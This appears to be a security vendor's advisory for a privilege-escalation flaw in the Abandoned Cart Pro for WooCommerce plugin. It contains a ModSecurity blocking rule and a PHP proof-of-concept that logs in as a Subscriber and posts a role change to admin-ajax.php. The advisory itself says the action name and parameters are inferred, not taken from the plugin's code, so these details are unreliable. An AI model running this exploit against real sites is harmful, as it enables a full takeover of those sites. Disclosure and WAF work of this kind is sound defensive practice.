Atomic Edge analysis of CVE-2026-56010 (metadata-based): This vulnerability affects the Abandoned Cart Pro for WooCommerce plugin (slug: woocommerce-abandon-cart-pro) in versions up to and including 10.4.0. It allows authenticated attackers with Subscriber-level access to escalate privileges to Administrator. The CVSS score is 8.8 (High), indicating a critical risk.
The root cause is an Incorrect Privilege Assignment (CWE-266). Atomic Edge analysis infers that the plugin likely registers AJAX handlers, REST endpoints, or admin actions without properly checking user capabilities. For example, a function hooked to wp_ajax_{some_action} may only verify login status without a current_user_can(‘administrator’) or similar check. This pattern would allow any authenticated user (including Subscribers) to trigger privileged operations, such as user role updates or admin account creation. This conclusion is inferred from the CWE and description, as no source code is available.
Exploitation is straightforward: an attacker with Subscriber credentials sends a crafted request to a vulnerable endpoint. Atomic Edge research identifies likely targets such as /wp-admin/admin-ajax.php with an action parameter like woocommerce_abandon_cart_pro_update_role or similar. The POST body would include parameters to change the attacker’s role to administrator (e.g., user_id=attacker_id&role=administrator). No special nonce or additional validation is needed because the vulnerability stems from missing privilege checks. The exact action name is inferred from the plugin’s common naming conventions.
Remediation requires the plugin to implement proper capability checks on every permission-sensitive action. The fix should include a call to current_user_can(‘administrator’) or a more granular capability like ‘manage_options’ before executing privileged operations. Nonce verification (check_admin_referer) should also be added for CSRF protection. Atomic Edge analysis confirms that version 10.4.1 contains these fixes.
Successful exploitation results in complete compromise of the WordPress site. The attacker gains Administrator-level access, allowing them to install malicious plugins, modify content, extract user data, and potentially execute code remotely. Given that Privilege Escalation is the core impact, the confidentiality, integrity, and availability of the site are all fully compromised.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-56010 (metadata-based)
# Block privilege escalation via vulnerable AJAX action (inferred)
# This rule blocks requests that attempt to modify user roles through the vulnerable endpoint
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-56010 - Abandoned Cart Pro Privilege Escalation',severity:'CRITICAL',tag:'CVE-2026-56010',tag:'wordpress',tag:'privilege-escalation'"
SecRule ARGS_POST:action "@streq woocommerce_abandon_cart_pro_update_role"
"chain"
SecRule ARGS_POST:role "@streq administrator"
"t:lowercase,chain"
SecRule ARGS_POST:user_id "@rx ^[0-9]+$"
"t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-56010 - Abandoned Cart Pro for WooCommerce <= 10.4.0 - Authenticated (Subscriber+) Privilege Escalation
// Configuration: Update these variables with target site URL and attacker credentials
$target_url = 'http://example.com'; // Base URL of the WordPress site (no trailing slash)
$username = 'attacker'; // Attacker's username (Subscriber role)
$password = 'attacker_password'; // Attacker's password
// Step 1: Login with Subscriber credentials
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'remember' => true,
'wp-submit' => 'Log In'
);
$ch = curl_init();
curl_setopt_array($ch, array(
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($login_data),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => true,
CURLOPT_COOKIEJAR => '/tmp/cve_2026_56010_cookies.txt',
CURLOPT_COOKIEFILE => '/tmp/cve_2026_56010_cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_USERAGENT => 'AtomicEdge-PoC/1.0'
));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code !== 200) {
die("[!] Login failed. Check credentials or site URL. HTTP code: $http_coden");
}
echo "[+] Logged in as Subscriber: $usernamen";
// Step 2: Exploit privilege escalation via AJAX handler
// Inferred action name based on plugin naming conventions
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// The exact action and parameters need to be adjusted based on actual plugin code.
// This payload assumes the vulnerable action updates a user's role.
$exploit_data = array(
'action' => 'woocommerce_abandon_cart_pro_update_role', // Inferred action
'user_id' => '', // Will be filled after we retrieve current user ID
'role' => 'administrator'
);
// Retrieve current user ID (or hardcode if known)
// The attacker can simply target themselves, but we need the user ID.
// For simplicity, we assume the action takes a user_id parameter.
// If the plugin updates the current user automatically, we can omit user_id.
$exploit_data['user_id'] = '1'; // Replace with the actual user ID of the attacker (often 2 or higher)
curl_setopt_array($ch, array(
CURLOPT_URL => $ajax_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($exploit_data),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => true,
CURLOPT_COOKIEFILE => '/tmp/cve_2026_56010_cookies.txt',
CURLOPT_HTTPHEADER => array('X-Requested-With: XMLHttpRequest'),
CURLOPT_FOLLOWLOCATION => false
));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "[+] Exploit request sent to: $ajax_urln";
echo "[+] Payload: " . json_encode($exploit_data) . "n";
echo "[+] HTTP response code: $http_coden";
// Step 3: Verify privilege escalation by checking admin access
curl_setopt_array($ch, array(
CURLOPT_URL => $target_url . '/wp-admin/',
CURLOPT_POST => false,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => false,
CURLOPT_COOKIEFILE => '/tmp/cve_2026_56010_cookies.txt'
));
$admin_response = curl_exec($ch);
if (strpos($admin_response, 'Dashboard') !== false) {
echo "[+] SUCCESS: Attacker now has Administrator access.n";
} else {
echo "[-] Verification failed. The exploit may require different parameters or the vulnerability may differ from the inferred pattern.n";
}
curl_close($ch);
// Clean up cookie file
unlink('/tmp/cve_2026_56010_cookies.txt');
?>
